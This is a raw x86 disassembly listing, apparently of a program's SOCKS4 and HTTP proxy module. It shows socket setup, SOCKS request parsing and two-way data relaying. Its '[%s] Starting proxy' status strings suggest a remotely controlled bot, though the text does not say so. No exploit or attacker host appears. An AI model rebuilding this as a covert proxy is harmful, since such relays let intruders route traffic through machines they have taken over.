		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop


loc_42A6E2:				; CODE XREF: ___:00429CC1j
					; ___:00429CC9j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	edx
		call	esi
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_42A798
; ---------------------------------------------------------------------------


loc_42A6FD:				; CODE XREF: ___:00429B9Ej
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		jmp	loc_42A79A
; ---------------------------------------------------------------------------


loc_42A70F:				; CODE XREF: ___:00429CEFj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		or	esi, 0FFFFFFFFh
		jmp	loc_42A57C
; ---------------------------------------------------------------------------


loc_42A782:				; CODE XREF: ___:0042A2F5j
					; ___:0042A2FDj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	ecx
		call	esi
		mov	edx, [ebp+0BFh]
		push	edx


loc_42A798:				; CODE XREF: ___:0042A693j
					; ___:0042A6F8j
		call	esi


loc_42A79A:				; CODE XREF: ___:0042A636j
					; ___:0042A70Aj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		jmp	loc_42A5B4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42ACB0	proc near		; CODE XREF: sub_4018EDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42ACB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F15C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42ACB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AD20:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402126
		test	byte ptr [esp+8], 1
		jz	short loc_42AD38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42AD38:				; CODE XREF: ___:0042AD2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AD50	proc near		; CODE XREF: sub_402126j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43F15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42AD6B
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42AD6B:				; CODE XREF: sub_42AD50+12j
		mov	ecx, esi
		call	sub_4017A8
		pop	esi
		retn
sub_42AD50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AD90	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AD90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_42ADB3:				; CODE XREF: sub_42AD90+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42ADDA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_42ADB3


loc_42ADDA:				; CODE XREF: sub_42AD90+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42AEAC
		push	ebp
		push	esi


loc_42ADF0:				; CODE XREF: sub_42AD90+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42AE8B
		test	ebp, ebp
		jz	short loc_42AE8B
		push	0C3h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_42AE36
		mov	ecx, eax
		call	sub_401893
		mov	esi, eax
		jmp	short loc_42AE38
; ---------------------------------------------------------------------------


loc_42AE36:				; CODE XREF: sub_42AD90+99j
		xor	esi, esi


loc_42AE38:				; CODE XREF: sub_42AD90+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FDC
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013DE
		jmp	short loc_42AE96
; ---------------------------------------------------------------------------


loc_42AE8B:				; CODE XREF: sub_42AD90+74j
					; sub_42AD90+7Cj
		push	0FAh
		nop
		call	near ptr 284020Fh


loc_42AE96:				; CODE XREF: sub_42AD90+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_42ADF0
		pop	esi
		pop	ebp


loc_42AEAC:				; CODE XREF: sub_42AD90+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AEBE
		push	edi
		nop
		call	near ptr 71AB9639h


loc_42AEBE:				; CODE XREF: sub_42AD90+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AD90	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AF20	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_42AF48
		call	sub_4017EE
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_42AF53
; ---------------------------------------------------------------------------


loc_42AF48:				; CODE XREF: sub_42AF20+19j
		call	sub_4017EE
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_42AF53:				; CODE XREF: sub_42AF20+26j
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42AF20	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AFF0	proc near		; CODE XREF: sub_40213Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AFF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F16C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AFF0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B060:				; CODE XREF: ___:0040187Fj
					; ___:loc_401B18j
		push	esi
		mov	esi, ecx
		call	sub_401FA5
		test	byte ptr [esp+8], 1
		jz	short loc_42B078
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B078:				; CODE XREF: ___:0042B06Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B090	proc near		; CODE XREF: sub_401FA5j
		jmp	sub_4017A8
sub_42B090	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B0B0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_511CA4
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi
		cmp	eax, 1
		jge	short loc_42B0F1
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B0F1:				; CODE XREF: sub_42B0B0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_42B2DC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi
		cmp	eax, 1
		jge	short loc_42B12E
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B12E:				; CODE XREF: sub_42B0B0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_42B2DC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_42B1C9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0A1h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B1C9:				; CODE XREF: sub_42B0B0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_511CAC
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi


loc_42B226:				; CODE XREF: sub_42B0B0+1AFj
					; sub_42B0B0+1FEj ...
		mov	edi, dword_511CA4
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi
		mov	esi, eax
		test	esi, esi
		jz	loc_42B2CA
		jge	short loc_42B261
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_42B261
		push	0Ah
		nop
		call	near ptr 284020Fh
		jmp	short loc_42B226
; ---------------------------------------------------------------------------


loc_42B261:				; CODE XREF: sub_42B0B0+198j
					; sub_42B0B0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi
		mov	esi, eax
		test	esi, esi
		jz	short loc_42B2CA
		jge	short loc_42B2B3
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42B2B3
		push	0Ah
		nop
		call	near ptr 284020Fh
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2B3:				; CODE XREF: sub_42B0B0+1E7j
					; sub_42B0B0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		nop
		call	near ptr 71AB428Ah
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2CA:				; CODE XREF: sub_42B0B0+192j
					; sub_42B0B0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_511C9C
		push	eax
		call	esi
		push	ebx
		call	esi


loc_42B2DC:				; CODE XREF: sub_42B0B0+46j
					; sub_42B0B0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_42B0B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B380	proc near		; CODE XREF: sub_40218Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B380
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F17C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3F0	proc near		; CODE XREF: ___:00401032j sub_4017B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C4E
		test	[esp+4+arg_0], 1
		jz	short loc_42B408
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B408:				; CODE XREF: sub_42B3F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B3F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B420	proc near		; CODE XREF: sub_401C4Ej
		jmp	sub_4017A8
sub_42B420	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B440	proc near		; CODE XREF: sub_40189Dj

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B440
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017EE
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42B649
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42B516
		mov	ecx, [esi+9Dh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B516:				; CODE XREF: sub_42B440+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B600


loc_42B52C:				; CODE XREF: sub_42B440+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42B550
		push	0FAh
		nop
		call	near ptr 284020Fh
		jmp	loc_42B5EC
; ---------------------------------------------------------------------------


loc_42B550:				; CODE XREF: sub_42B440+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC1028h
		nop
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42B600
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42B600
		push	0A5h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B59E
		mov	ecx, eax
		call	sub_40213A
		mov	edi, eax


loc_42B59E:				; CODE XREF: sub_42B440+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42B5EC:				; CODE XREF: sub_42B440+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B52C


loc_42B600:				; CODE XREF: sub_42B440+E6j
					; sub_42B440+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42B614
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42B614:				; CODE XREF: sub_42B440+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch


loc_42B649:				; CODE XREF: sub_42B440+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B440	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B6F0	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		call	near ptr 71AB4FD4h
		nop
		test	eax, eax
		jz	short loc_42B711
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42B711:				; CODE XREF: sub_42B6F0+Dj
		xor	al, al
		retn	8
sub_42B6F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B730	proc near		; CODE XREF: sub_4020E0j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42B751:				; CODE XREF: sub_42B730+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B76A:				; CODE XREF: sub_42B730+45j
		cmp	[ecx], ebx
		jz	short loc_42B777
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B76A


loc_42B777:				; CODE XREF: sub_42B730+3Cj
		cmp	eax, 1
		jnz	short loc_42B788
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42B788:				; CODE XREF: sub_42B730+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jbe	short loc_42B813
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B813
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42B7BC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42B7BE
; ---------------------------------------------------------------------------


loc_42B7BC:				; CODE XREF: sub_42B730+84j
		mov	eax, ebx


loc_42B7BE:				; CODE XREF: sub_42B730+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42B862
		test	edi, edi
		jz	short loc_42B862
		jbe	short loc_42B80C


loc_42B7EB:				; CODE XREF: sub_42B730+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B862
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42B7EB


loc_42B80C:				; CODE XREF: sub_42B730+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42B813:				; CODE XREF: sub_42B730+70j
					; sub_42B730+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B825:				; CODE XREF: sub_42B730+100j
		cmp	[ecx], ebx
		jz	short loc_42B832
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B825


loc_42B832:				; CODE XREF: sub_42B730+F7j
		cmp	eax, 1
		jnz	short loc_42B844
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42B844:				; CODE XREF: sub_42B730+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jle	loc_42B751


loc_42B862:				; CODE XREF: sub_42B730+B3j
					; sub_42B730+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42B730	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B8E0	proc near		; CODE XREF: sub_401C30j

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42B97F
		dec	eax
		jz	short loc_42B92A
		dec	eax
		jnz	loc_42BA72
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42B92A:				; CODE XREF: sub_42B8E0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_401758
		test	al, al
		jz	loc_42BA72
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42B99B
; ---------------------------------------------------------------------------


loc_42B97F:				; CODE XREF: sub_42B8E0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42B99B:				; CODE XREF: sub_42B8E0+9Dj
		mov	ebx, dword_511C3C
		push	11h
		push	2
		push	2
		call	ebx
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx
		cmp	edi, 0FFFFFFFFh
		jz	loc_42BA72
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42BA72
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_511C68
		push	edx
		push	esi
		push	edi
		call	ebp
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
